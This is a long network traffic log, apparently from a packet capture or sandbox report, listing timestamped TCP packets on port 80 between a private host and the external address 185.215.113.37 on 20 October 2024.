Oct 20, 2024 06:40:17.531683922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531691074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531694889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531707048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531707048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531718969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531732082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531733036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531743050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531754971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531755924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531766891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531771898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531780005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.531800985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.531824112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532191992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532202959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532213926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532224894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532233000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532237053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532248974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532252073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532270908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532278061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532283068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532294989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532299995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532306910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532319069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532326937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532329082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532341957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532350063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532352924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532365084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532366037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532376051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532387018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532392025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532402039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532413960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532413960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532424927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532437086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532438040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532448053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532458067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532464981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532478094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532479048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532490015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532500029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532500982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532511950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.532522917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.532552004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533098936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533109903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533119917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533130884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533143997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533149004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533157110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533163071 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533169031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533179998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533185959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533202887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533210039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533215046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533226013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533236980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533237934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533250093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533261061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533267975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533272982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533283949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533294916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533301115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533308029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533319950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533319950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533330917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533334970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533343077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533354044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533365011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533366919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533376932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533389091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533390045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533401012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533404112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533412933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533423901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.533432007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.533458948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534034967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534046888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534058094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534065008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534075975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534087896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534099102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534101009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534111023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534118891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534123898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534138918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534138918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534152031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534157991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534164906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534174919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534188986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534205914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534207106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534219027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534230947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534235001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534245014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534260988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534261942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534272909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534285069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534290075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534300089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534300089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534311056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534322977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534324884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534334898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534347057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534349918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534358025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534369946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534375906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534382105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534388065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534393072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534404039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534415960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534421921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534434080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534435987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534446001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534457922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534463882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534468889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534483910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.534487963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534507036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534522057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.534992933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535007954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535020113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535032988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535044909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535056114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535060883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535068035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535079956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535100937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535104036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535113096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535123110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535126925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535134077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535140038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535145998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535156965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535159111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535166979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535177946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535186052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535192013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535204887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535212040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535216093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535228014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535228968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535238981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535245895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535250902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535263062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535270929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535275936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535288095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535296917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535300016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:17.535314083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.535339117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.538645029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.594326973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:17.599168062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834518909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834532022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834542990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834559917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834583044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834594011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834600925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834615946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834628105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834638119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834641933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834650993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834661961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834671974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834673882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834686041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834696054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834697008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834707022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834712029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834718943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834731102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834748983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834750891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834763050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834775925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834779978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834784985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834786892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834799051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834831953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834883928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834894896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834907055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834918022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834918976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834932089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.834944963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.834975004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835057020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835067987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835094929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835119009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835244894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835257053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835266113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835277081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835287094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835289001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835299969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835311890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835316896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835321903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835333109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835333109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835345030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835350037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835356951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835366964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835376024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835377932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835395098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835405111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835407019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835416079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835427046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835427046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835438013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835443020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835448980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835460901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835472107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835483074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835485935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835494041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835510969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835526943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835915089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835927010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835937023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835947990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835958958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835963011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835969925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835982084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.835989952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.835994005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836009026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836009979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836023092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836034060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836034060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836051941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836062908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836066008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836072922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836083889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836085081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836095095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836107016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836112022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836118937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836137056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836138010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836149931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836158037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836160898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836169958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836174011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836183071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836194992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836206913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836209059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836216927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836230040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836236000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836241961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836255074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836266041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836270094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836277962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836287975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836312056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836896896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836910009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836920977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836931944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836935997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836942911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836951971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 20, 2024 06:40:18.836955070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836966991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836977959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836988926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 20, 2024 06:40:18.836990118 CEST	49730	80	192.168.2.4	185.215.113.37
